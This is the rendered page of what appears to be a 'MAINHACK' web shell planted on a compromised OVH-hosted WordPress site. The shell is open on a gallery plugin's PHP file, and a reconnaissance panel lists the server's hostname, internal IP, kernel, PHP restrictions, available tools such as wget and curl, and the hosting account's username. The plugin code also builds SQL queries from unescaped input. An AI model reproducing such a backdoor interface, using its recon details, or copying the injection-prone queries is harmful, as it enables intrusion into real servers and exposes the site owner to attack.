[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: gallery.php
<?php Namespace WordPress\Plugin\GalleryManager; class Gallery { private $gallery_id, # the post id of the gallery post $attributes = Array(); function __construct($gallery_id = Null, $attributes = Null){ $this->setGalleryID($gallery_id); $this->setAttributes($attributes); } function setGalleryID($gallery_id = Null){ $gallery_id = $gallery_id ? IntVal($gallery_id) : get_The_Id(); $this->gallery_id = $gallery_id; } function setAttributes($arr_attributes = Null){ setType($arr_attributes, 'ARRAY'); $arr_attributes = Array_Filter($arr_attributes); $this->attributes = $arr_attributes; } function render(){ $attributes = Array_Merge(Array( 'id' => $this->gallery_id, ), $this->attributes); return Gallery_Shortcode($attributes); } function getImages($parameters = Array()){ setType($parameters, 'ARRAY'); $parameters = Array_Merge(Array( 'post_parent' => $this->gallery_id, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order' ), $parameters); $attachments = get_Children($parameters); foreach($attachments as &$attachment){ $image = WP_Get_Attachment_Image_Src($attachment->ID, 'full'); if ($image){ list($url, $width, $height, $is_intermediate) = $image; } else { unset($attachments[$index]); continue; } $attachment->url = $url; $attachment->width = $width; $attachment->height = $height; $attachment->is_intermediate = $is_intermediate; list($url, $width, $height, $is_intermediate) = WP_Get_Attachment_Image_Src($attachment->ID, 'thumbnail'); $attachment->thumbnail = (Object) Array( 'url' => $url, 'width' => $width, 'height' => $height, 'is_intermediate' => $is_intermediate ); } return $attachments; } function getPreviewImages(){ $arr_images = $this->getImages(Array( 'numberposts' => Options::get('preview_image_number'), 'orderby' => 'rand' )); return $arr_images; } function renderPreview(){ $arr_images = $this->getPreviewImages(); if (empty($arr_images)) return false; $arr_image_ids = Array_Map(function($image){ return $image->ID; }, $arr_images); return Gallery_Shortcode(Array( 'id' => 0, 'ids' => $arr_image_ids, 'columns' => Options::get('preview_columns'), 'size' => Options::get('preview_thumb_size') )); } function setImages($arr_images){ global $wpdb; $image_id_list = join(',', $arr_images); # Update parent_id for all attachments which are NOT in the images array $stmt = sprintf(' UPDATE %s SET post_parent = NULL, menu_order = 0 WHERE post_parent = "%u" AND post_type = "attachment" AND post_mime_type LIKE "image/%%" AND ID NOT IN (%s)', $wpdb->posts, $this->gallery_id, $image_id_list ); $wpdb->query($stmt); # Update parent_id for all attachments which ARE in the images array $stmt = sprintf(' UPDATE %s SET post_parent = "%u" WHERE post_type = "attachment" AND post_mime_type LIKE "image/%%" AND ID IN (%s)', $wpdb->posts, $this->gallery_id, $image_id_list ); $wpdb->query($stmt); # Update menu_order for all attachments which ARE in the images array foreach ($arr_images as $order_index => $attachment_id){ $wpdb->update( $wpdb->posts, Array('menu_order' => $order_index), Array('ID' => $attachment_id) ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697